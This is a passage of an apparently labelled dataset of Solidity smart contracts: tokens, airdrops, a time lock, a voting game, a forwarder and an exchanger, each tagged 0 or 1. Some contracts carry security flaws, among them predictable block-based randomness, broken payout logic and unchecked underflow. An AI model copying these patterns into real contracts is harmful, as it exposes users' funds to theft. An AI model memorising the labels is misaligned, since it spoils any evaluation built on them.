mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract AidCoin is MintableToken, BurnableToken {
string public name = "AidCoin";
string public symbol = "AID";
uint256 public decimals = 18;
uint256 public maxSupply = 100000000 * (10 ** decimals);
function AidCoin() public {
}
modifier canTransfer(address _from, uint _value) {
require(mintingFinished);
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender, _value) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from, _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract JulyAirdrop is Ownable {
using SafeMath for uint256;
address airdropWallet;
mapping (address => uint256) public claimedAirdropTokens;
mapping (address => uint256) public previousAirdropSurplus;
mapping (address => uint256) public remainingAirdropSurplus;
address[] public remainingAirdropSurplusAddresses;
AidCoin public token;
constructor(address _airdropWallet, address _token) public {
require(_airdropWallet != address(0));
require(_token != address(0));
airdropWallet = _airdropWallet;
token = AidCoin(_token);
}
function setPreviousSurplus(address[] users, uint256[] amounts) public onlyOwner {
require(users.length > 0);
require(amounts.length > 0);
require(users.length == amounts.length);
for (uint i = 0; i < users.length; i++) {
address to = users[i];
uint256 value = amounts[i];
previousAirdropSurplus[to] = value;
}
}
function multisend(address[] users, uint256[] amounts) public onlyOwner {
require(users.length > 0);
require(amounts.length > 0);
require(users.length == amounts.length);
for (uint i = 0; i < users.length; i++) {
address to = users[i];
uint256 value = (amounts[i] * (10 ** 18)).mul(75).div(1000);
if (claimedAirdropTokens[to] == 0) {
claimedAirdropTokens[to] = value;
if (value > previousAirdropSurplus[to]) {
value = value.sub(previousAirdropSurplus[to]);
token.transferFrom(airdropWallet, to, value);
} else {
remainingAirdropSurplus[to] = previousAirdropSurplus[to].sub(value);
remainingAirdropSurplusAddresses.push(to);
}
}
}
}
function getRemainingAirdropSurplusAddressesLength() view public returns (uint) {
return remainingAirdropSurplusAddresses.length;
}
}
contract OctoberAirdrop is Ownable {
using SafeMath for uint256;
address airdropWallet;
mapping (address => uint256) public claimedAirdropTokens;
mapping (address => uint256) public remainingAirdropSurplus;
address[] public remainingAirdropSurplusAddresses;
JulyAirdrop previousAirdrop;
AidCoin public token;
constructor(address _airdropWallet, address _token, address _previousAirdrop) public {
require(_airdropWallet != address(0));
require(_token != address(0));
require(_previousAirdrop != address(0));
airdropWallet = _airdropWallet;
token = AidCoin(_token);
previousAirdrop = JulyAirdrop(_previousAirdrop);
}
function multisend(address[] users, uint256[] amounts) public onlyOwner {
require(users.length > 0);
require(amounts.length > 0);
require(users.length == amounts.length);
for (uint i = 0; i < users.length; i++) {
address to = users[i];
uint256 value = (amounts[i] * (10 ** 18)).mul(125).div(1000);
if (claimedAirdropTokens[to] == 0) {
claimedAirdropTokens[to] = value;
uint256 previousSurplus = previousAirdrop.remainingAirdropSurplus(to);
if (value > previousSurplus) {
value = value.sub(previousSurplus);
token.transferFrom(airdropWallet, to, value);
} else {
remainingAirdropSurplus[to] = previousSurplus.sub(value);
remainingAirdropSurplusAddresses.push(to);
}
}
}
}
function getRemainingAirdropSurplusAddressesLength() view public returns (uint) {
return remainingAirdropSurplusAddresses.length;
}
} | 0 |
pragma solidity ^0.4.19;
contract Token {
function name() public constant returns (string);
function symbol() public constant returns (string);
function decimals() public constant returns (uint8);
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender)
public constant returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(
address indexed _owner, address indexed _spender, uint256 _value);
}
contract TokenTimeLock {
function TokenTimeLock (address _donationAddress) public {
donationAddress = _donationAddress;
}
function lock (
Token _token, address _beneficiary, uint256 _amount,
uint256 _unlockTime) public returns (uint256) {
require (_amount > 0);
uint256 id = nextLockID++;
TokenTimeLockInfo storage lockInfo = locks [id];
lockInfo.token = _token;
lockInfo.beneficiary = _beneficiary;
lockInfo.amount = _amount;
lockInfo.unlockTime = _unlockTime;
Lock (id, _token, _beneficiary, _amount, _unlockTime);
require (_token.transferFrom (msg.sender, this, _amount));
return id;
}
function unlock (uint256 _id) public {
TokenTimeLockInfo memory lockInfo = locks [_id];
delete locks [_id];
require (lockInfo.amount > 0);
require (lockInfo.unlockTime <= block.timestamp);
Unlock (_id);
require (
lockInfo.token.transfer (
lockInfo.beneficiary, lockInfo.amount));
}
address public donationAddress;
uint256 private nextLockID = 0;
mapping (uint256 => TokenTimeLockInfo) public locks;
struct TokenTimeLockInfo {
Token token;
address beneficiary;
uint256 amount;
uint256 unlockTime;
}
event Lock (
uint256 indexed id, Token indexed token, address indexed beneficiary,
uint256 amount, uint256 unlockTime);
event Unlock (uint256 indexed id);
} | 1 |
pragma solidity^0.4.24;
contract Cryptorank{
using SafeMath for *;
using NameFilter for string;
struct Round
{
bool active;
address lastvoter;
uint256 jackpot;
uint256 start;
uint256 end;
uint256 tickets;
uint256 pot;
}
struct Coin
{
string symbol;
string name;
uint256 votes;
}
address[] public players;
Coin[] public coinSorting;
mapping(uint256 => Round) public rounds;
address private owner;
address public manager;
uint256 public roundid = 0;
uint256 constant private initvotetime = 1 hours;
uint256 constant private voteinterval = 90 seconds;
uint256 constant private maxvotetime = 24 hours;
uint256 public addcoinfee = 1 ether;
uint256 private SortingCoinstime;
uint256 public raiseethamount = 0;
uint8 public addcoinslimit = 5;
uint256 public tonextround = 0;
uint256 private fund = 0;
uint256 public nextRoundCoolingTime = 10 minutes;
uint256 public ticketPrice = 0.01 ether;
mapping(string=>bool) have;
mapping(string=>uint) cvotes;
mapping(uint256 => uint256) public awardedReward;
mapping(uint256 => uint256) public ticketHolderReward;
mapping(address => uint256) public selfharvest;
mapping(address => uint256) public selfvoteamount;
mapping(address => uint256) public selfvotes;
mapping(address => uint8) public selfOdds;
mapping(address => uint256) public selfpotprofit;
mapping(address => uint256) public selfcommission;
mapping(address => string) public playername;
mapping(address => address) public playerreferees;
mapping(bytes32 => uint256) public verifyName;
mapping(address => bool) public pState;
mapping(address => uint256) public raisemax;
modifier isactivity(uint256 rid){
require(rounds[rid].active == true);
_;
}
modifier onlyowner()
{
require(msg.sender == owner);
_;
}
modifier isRepeat(string _name)
{
require(have[_name]==false);
_;
}
modifier isHave (string _name)
{
require(have[_name]==true);
_;
}
event Sortime(address indexed adr,uint256 indexed time);
event AddCoin(uint _id,string _name,string _symbol);
constructor() public {
owner = msg.sender;
startRound();
}
function addcoin(string _name,string _symbol)
public
payable
isRepeat(_name)
{
require(addcoinslimit > 1);
if(msg.sender != owner){
require(msg.value >= addcoinfee);
}
uint id = coinSorting.push(Coin(_symbol,_name, 0)) - 1;
cvotes[_name]=id;
emit AddCoin(id,_name,_symbol);
have[_name]=true;
addcoinslimit --;
rounds[roundid].jackpot = rounds[roundid].jackpot.add(msg.value);
}
function tovote(string _name,uint256 _votes,uint256 reward) private
isHave(_name)
{
coinSorting[cvotes[_name]].votes = coinSorting[cvotes[_name]].votes.add(_votes) ;
for(uint256 i = 0;i < players.length;i++){
address player = players[i];
uint256 backreward = reward.mul(selfvotes[player]).div(rounds[roundid].tickets);
selfharvest[player] = selfharvest[player].add(backreward);
}
}
function SortingCoins() public {
for(uint256 i = 0;i< coinSorting.length;i++){
for(uint256 j = i + 1;j < coinSorting.length;j++){
if(coinSorting[i].votes < coinSorting[j].votes){
cvotes[coinSorting[i].name] = j;
cvotes[coinSorting[j].name] = i;
Coin memory temp = Coin(coinSorting[i].symbol,coinSorting[i].name,coinSorting[i].votes);
coinSorting[i] = Coin(coinSorting[j].symbol,coinSorting[j].name,coinSorting[j].votes);
coinSorting[j] = Coin(temp.symbol,temp.name,temp.votes);
}
}
}
}
function setcoinfee(uint256 _fee) external onlyowner{
addcoinfee = _fee;
addcoinslimit = 5;
}
function getcoinSortinglength() public view returns(uint )
{
return coinSorting.length;
}
function getcvotesid(string _name)public view returns (uint)
{
return cvotes[_name];
}
function getcoinsvotes(string _name) public view returns(uint)
{
return coinSorting[cvotes[_name]].votes;
}
function raisevote()
payable
public
isactivity(roundid){
require(raiseethamount < 100 ether);
require(raisemax[msg.sender].add(msg.value) <= 1 ether);
uint256 raiseeth;
if(raiseethamount.add(msg.value) > 100 ether){
raiseeth = 100 - raiseethamount;
uint256 backraise = raiseethamount.add(msg.value) - 100 ether;
selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(backraise);
}else{
raiseeth = msg.value;
}
raiseethamount = raiseethamount.add(raiseeth);
raisemax[msg.sender] = raisemax[msg.sender].add(raiseeth);
uint256 ticketamount = raiseeth.div(0.01 ether);
uint256 reward = msg.value.mul(51).div(100);
for(uint256 i = 0;i < players.length;i++){
address player = players[i];
uint256 backreward = reward.mul(selfvotes[player]).div(rounds[roundid].tickets);
selfharvest[player] = selfharvest[player].add(backreward);
}
allot(ticketamount);
}
function transferOwnership(address newOwner) public {
require(msg.sender == owner);
owner = newOwner;
}
function setManager(address _manager) public onlyowner{
manager = _manager;
}
function startRound() private{
roundid++;
rounds[roundid].active = true;
rounds[roundid].lastvoter = 0x0;
rounds[roundid].jackpot = tonextround;
rounds[roundid].start = now;
rounds[roundid].end = now + initvotetime;
rounds[roundid].tickets = 0;
rounds[roundid].pot = 0;
ticketPrice = 0.01 ether;
}
function calculatVotePrice()
public
view
returns(uint256){
uint256 playersnum = players.length;
if(playersnum <= 30)
return ticketPrice.mul(112).div(100);
if(playersnum>30 && playersnum <= 100)
return ticketPrice.mul(103).div(100);
if(playersnum > 100)
return ticketPrice.mul(101).div(100);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 100) * 100)) < selfOdds[msg.sender])
return(true);
else
return(false);
}
function airdrppReward()
private
returns(string){
if(airdrop() == false){
return "非常遗憾！没有空投！";
}
else{
if(selfvoteamount[msg.sender] <= 1 ether && rounds[roundid].pot >= 0.1 ether){
selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(0.1 ether); }
rounds[roundid].pot = rounds[roundid].pot.sub(0.1 ether);
return "恭喜获得空投 0.1 ether";
}
if(1 ether < selfvoteamount[msg.sender] && selfvoteamount[msg.sender] <= 5 ether && rounds[roundid].pot >=0.5 ether){
selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(0.5 ether);
rounds[roundid].pot = rounds[roundid].pot.sub(0.5 ether);
return "恭喜获得空投 0.5 ether";
}
if(selfvoteamount[msg.sender] > 5 ether && rounds[roundid].pot >= 1 ether){
selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(1 ether);
rounds[roundid].pot = rounds[roundid].pot.sub(1 ether);
return "恭喜获得空投 1 ether";
}
}
function updateTimer(uint256 _votes)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > rounds[roundid].end && rounds[roundid].lastvoter == address(0))
_newTime = (_votes.mul(voteinterval)).add(_now);
else
_newTime = (_votes.mul(voteinterval)).add(rounds[roundid].end);
if (_newTime < (maxvotetime).add(_now))
rounds[roundid].end = _newTime;
else
rounds[roundid].end = maxvotetime.add(_now);
}
function voting (string _name)
payable
public
isactivity(roundid)
returns(string)
{
uint256 currentticketPrice = ticketPrice;
require(msg.value >= currentticketPrice);
string memory ifgetpot = airdrppReward();
require(now > (rounds[roundid].start + nextRoundCoolingTime) &&(now <= rounds[roundid].end ||rounds[roundid].lastvoter == address(0) ));
selfvoteamount[msg.sender] = selfvoteamount[msg.sender].add(msg.value);
uint256 votes = msg.value.div(currentticketPrice);
uint256 reward = msg.value.mul(51).div(100);
uint256 _now = now;
if(_now - SortingCoinstime >2 hours){
SortingCoins();
SortingCoinstime = _now;
emit Sortime(msg.sender,_now);
}
tovote(_name,votes,reward);
allot(votes);
calculateselfOdd();
ticketPrice = calculatVotePrice();
return ifgetpot;
}
function calculateselfOdd() private {
if(selfvoteamount[msg.sender] <= 1 ether)
selfOdds[msg.sender] = 25;
if(1 ether < selfvoteamount[msg.sender] &&selfvoteamount[msg.sender] <= 10 ether)
selfOdds[msg.sender] = 50;
if(selfvoteamount[msg.sender] > 10 ether)
selfOdds[msg.sender] = 75;
}
function allot(uint256 votes) private isactivity(roundid){
if(playerreferees[msg.sender] != address(0)){
selfcommission[playerreferees[msg.sender]] = selfcommission[playerreferees[msg.sender]].add(msg.value.mul(10).div(100));
}else{
rounds[roundid].jackpot = rounds[roundid].jackpot.add(msg.value.mul(10).div(100));
}
if(selectplayer() == false){
players.push(msg.sender);
}
fund = fund.add(msg.value.mul(13).div(100));
ticketHolderReward[roundid] = ticketHolderReward[roundid].add(msg.value.mul(51).div(100));
rounds[roundid].jackpot = rounds[roundid].jackpot.add(msg.value.mul(25).div(100));
rounds[roundid].pot = rounds[roundid].pot.add(msg.value.mul(1).div(100));
rounds[roundid].lastvoter = msg.sender;
rounds[roundid].tickets = rounds[roundid].tickets.add(votes);
selfvotes[msg.sender] = selfvotes[msg.sender].add(votes);
updateTimer(votes);
}
function endround() public isactivity(roundid) {
require(now > rounds[roundid].end && rounds[roundid].lastvoter != address(0));
uint256 reward = rounds[roundid].jackpot;
for(uint i = 0 ;i< players.length;i++){
address player = players[i];
uint256 selfbalance = selfcommission[msg.sender] + selfharvest[msg.sender] + selfpotprofit[msg.sender];
uint256 endreward = reward.mul(42).div(100).mul(selfvotes[player]).div(rounds[roundid].tickets);
selfcommission[player] = 0;
selfharvest[player] = 0;
selfpotprofit[player] = 0;
selfvoteamount[player] = 0;
selfvotes[player] = 0;
player.transfer(endreward.add(selfbalance));
}
rounds[roundid].lastvoter.transfer(reward.mul(48).div(100));
tonextround = reward.mul(10).div(100);
uint256 remainingpot = rounds[roundid].pot;
tonextround = tonextround.add(remainingpot);
rounds[roundid].active = false;
delete players;
players.length = 0;
startRound();
}
function registerNameXNAME(string _nameString,address _inviter)
public
payable {
require (msg.value >= 0.01 ether, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
require(verifyName[_name]!=1 ,"sorry that names already taken");
bool state = validation_inviter(_inviter);
require(state,"注册失败");
if(!pState[msg.sender]){
verifyName[_name] = 1;
playername[msg.sender] = _nameString;
playerreferees[msg.sender] = _inviter;
pState[msg.sender] = true;
}
manager.transfer(msg.value);
}
function validation_inviter (address y_inviter) public view returns (bool){
if(y_inviter== 0x0000000000000000000000000000000000000000){
return true;
}
else if(pState[y_inviter]){
return true;
}
else {
return false;
}
}
function withdraw() public{
uint256 reward = selfcommission[msg.sender] + selfharvest[msg.sender] + selfpotprofit[msg.sender];
uint256 subselfharvest = selfharvest[msg.sender];
selfcommission[msg.sender] = 0;
selfharvest[msg.sender] = 0;
selfpotprofit[msg.sender] = 0;
ticketHolderReward[roundid] = ticketHolderReward[roundid].sub(subselfharvest);
awardedReward[roundid] = awardedReward[roundid].add(reward);
msg.sender.transfer(reward);
}
function withdrawbymanager() public{
require(msg.sender == manager);
uint256 fundvalue = fund;
fund = 0;
manager.transfer(fundvalue);
}
function getpotReward() public view returns(uint256){
return selfpotprofit[msg.sender];
}
function getBonus() public view returns(uint256){
return selfvotes[msg.sender] / rounds[roundid].tickets * rounds[roundid].jackpot;
}
function selectplayer() public view returns(bool){
for(uint i = 0;i< players.length ;i++){
if(players[i] == msg.sender)
return true;
}
return false;
}
function getroundendtime() public view returns(uint256){
if(rounds[roundid].end >= now){
return rounds[roundid].end - now;
}
return 0;
}
function getamountvotes() public view returns(uint) {
return rounds[roundid].tickets;
}
function getjackpot() public view returns(uint)
{
return rounds[roundid].jackpot;
}
function () payable public {
selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(msg.value);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
} | 1 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Forwarder {
using SafeMath for uint256;
address public destinationAddress80;
address public destinationAddress20;
function Forwarder() {
destinationAddress20 = 0xf6962cfe3b9618374097d51bc6691efb3974d06f;
destinationAddress80 = 0xf030541A54e89cB22b3653a090b233A209E44F38;
}
function () payable {
if (msg.value > 0) {
uint256 totalAmount = msg.value;
uint256 tokenValueAmount = totalAmount.div(5);
uint256 restAmount = totalAmount.sub(tokenValueAmount);
if (!destinationAddress20.send(tokenValueAmount)) revert();
if (!destinationAddress80.send(restAmount)) revert();
}
}
} | 1 |
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract ERC223Interface {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
function transfer(address to, uint value, bytes data);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223Token is ERC223Interface {
using SafeMath for uint;
mapping(address => uint) balances;
function transfer(address _to, uint _value, bytes _data) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
}
function transfer(address _to, uint _value) {
uint codeLength;
bytes memory empty;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
Transfer(msg.sender, _to, _value, empty);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract PajCoin223 is ERC223Token {
string public constant name = "PajCoin";
bytes32 public constant symbol = "PJC";
uint8 public constant decimals = 18;
function PajCoin223() public {
bytes memory empty;
totalSupply = 150000000e18;
balances[msg.sender] = totalSupply;
Transfer(0x0, msg.sender, totalSupply, empty);
}
}
contract Exchanger is ERC223ReceivingContract, Ownable {
uint public rate = 30*1000000000;
uint public fee = 100000*3e9;
PajCoin223 public token = PajCoin223(0x1a85180ce3012e7715b913dd585afdf1a10f3025);
event DataEvent(uint value, string comment);
struct Deal {
address user;
uint money;
}
mapping(uint => Deal) ethSended;
mapping(uint => Deal) coinSended;
uint ethSendedNumber = 0;
uint coinSendedNumber = 0;
modifier allDealsArePaid {
require(ethSendedNumber == 0);
require(coinSendedNumber == 0);
_;
}
event LogPriceUpdated(uint price);
function Exchanger() public payable {
updater = msg.sender;
}
function needUpdate() public view returns (bool) {
return ethSendedNumber + coinSendedNumber > 0;
}
bool private reentrancy_lock = false;
modifier nonReentrant() {
require(!reentrancy_lock);
reentrancy_lock = true;
_;
reentrancy_lock = false;
}
address updater;
modifier onlyUpdater() {
require(msg.sender == updater);
_;
}
function setUpdater(address _updater) public onlyOwner() {
updater = _updater;
}
function setFee(uint _fee) public onlyOwner() {
fee = _fee;
}
function setToken(address addr) public onlyOwner {
token = PajCoin223(addr);
}
function getEth(uint amount) public onlyOwner allDealsArePaid {
owner.transfer(amount);
}
function getTokens(uint amount) public onlyOwner allDealsArePaid {
token.transfer(owner, amount);
}
function() public payable {
if (msg.sender != owner) {
require(fee <= msg.value);
DataEvent(msg.value, "Someone sent ether: amount");
ethSended[ethSendedNumber++] = Deal({user: msg.sender, money: msg.value});
}
}
function tokenFallback(address _from, uint _value, bytes _data) {
require(msg.sender == address(token));
if (_from != owner) {
require(fee <= _value * 1e9 / rate);
DataEvent(_value, "Someone sent coin: amount");
coinSended[coinSendedNumber++] = Deal({user: _from, money: _value});
}
}
function updateRate(uint _rate) public onlyUpdater nonReentrant{
rate = _rate;
LogPriceUpdated(rate);
uint personalFee = fee / (ethSendedNumber + coinSendedNumber);
DataEvent(personalFee, "Personal fee");
proceedEtherDeals(personalFee);
proceedTokenDeals(personalFee);
}
function proceedEtherDeals(uint personalFee) internal {
for (uint8 i = 0; i < ethSendedNumber; i++) {
address user = ethSended[i].user;
DataEvent(ethSended[i].money, "Someone sent ether: amount");
DataEvent(personalFee, "Fee: amount");
uint money = ethSended[i].money - personalFee;
DataEvent(money, "Discounted amount: amount");
uint value = money * rate / 1e9;
DataEvent(value, "Ether to tokens: amount");
if (money < 0) {
} else if (token.balanceOf(this) < value) {
DataEvent(token.balanceOf(this), "Not enough tokens: owner balance");
user.transfer(money);
} else {
token.transfer(user, value);
DataEvent(value, "Tokens were sent to customer: amount");
}
}
ethSendedNumber = 0;
}
function proceedTokenDeals(uint personalFee) internal {
for (uint8 j = 0; j < coinSendedNumber; j++) {
address user = coinSended[j].user;
uint coin = coinSended[j].money;
DataEvent(coin, "Someone sent tokens: amount");
DataEvent(coin * 1e9 / rate, "Tokens to ether: amount");
uint value = coin * 1e9 / rate - personalFee;
DataEvent(personalFee, "Fee: amount");
DataEvent(value, "Tokens to discounted ether: amount");
if (value < 0) {
} else if (this.balance < value) {
DataEvent(this.balance, "Not enough ether: contract balance");
token.transfer(user, coin);
} else {
user.transfer(value);
DataEvent(value, "Ether was sent to customer: amount");
}
}
coinSendedNumber = 0;
}
} | 0 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function () public payable {
revert();
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
function setSaleAgent(address newSaleAgnet) public {
require(msg.sender == saleAgent || msg.sender == owner);
saleAgent = newSaleAgnet;
}
function mint(address _to, uint256 _amount) public returns (bool) {
require(msg.sender == saleAgent && !mintingFinished);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() public returns (bool) {
